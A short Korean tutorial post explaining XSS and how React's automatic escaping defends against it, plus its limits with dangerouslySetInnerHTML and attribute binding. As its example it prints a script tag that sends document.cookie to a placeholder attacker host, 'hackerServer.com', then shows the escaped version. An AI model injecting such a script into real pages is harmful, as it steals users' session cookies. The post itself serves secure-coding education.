XSS와 리액트의 XSS 공격 방지

XSS(크로스 사이트 스크립팅) 공격

XSS(크로스 사이트 스크립팅) 공격은 여러 사람들이 보는 글에 임의의 스크립트를 주입하여, 해당 글을 다른 사용자가 읽을 때 임의의 스크립트를 실행하게 만들어 사용자의 정보(쿠키, 세션)을 탈취하거나 비정상적인 기능을 수행하도록 만드는 공격이다.

리액트의 XSS 공격 방지

<!-- 이스케이프 전  -->
<script>
  let xmlHttp = new XMLHttpRequest();
  const url =
    'http://hackerServer.com?victimCookie=' +
    document.cookie;
  xmlHttp.open('GET', url);
  xmlHttp.send();
</script>

<!-- 이스케이프 후  -->
&lt;script&gt;
  let xmlHttp = new XMLHttpRequest();
  const url =
    &quot;http://hackerServer.com?victimCookie=&quot; +
    document.cookie;
  xmlHttp.open(&quot;GET&quot;, url);
  xmlHttp.send();
&lt;/script&gt;

리액트는 XSS를 방어하기 위해 렌더링 되기 전 자동적으로 값이 escape 되어 HTML 본연의 태그나 스크립트 기능을 제거하여 XSS 공격을 방지하고 있다.

리액트 XSS 공격 방지 취약점

하지만 자동적으로 escape 되는 것은 div>{기본 데이터}</div> 와 같이 기본 데이터 바인딩시에만 일어나며 dangerouslySetInnerHTML를 사용하거나 <form action={data}>와 같이 다른 HTML attributes를 렌더링할 때에는 일어나지 않는다. 따라서 이때 (JSON.stringify(state).replace(/</g, "\\u003c"); ”<”를 사용하지 못하도록 만듦) 와 같은 시큐어 코딩이 필요하다.

참고사이트: https://onlydev.tistory.com/78, https://themoin.github.io/2020-11-02-SecureFrontend/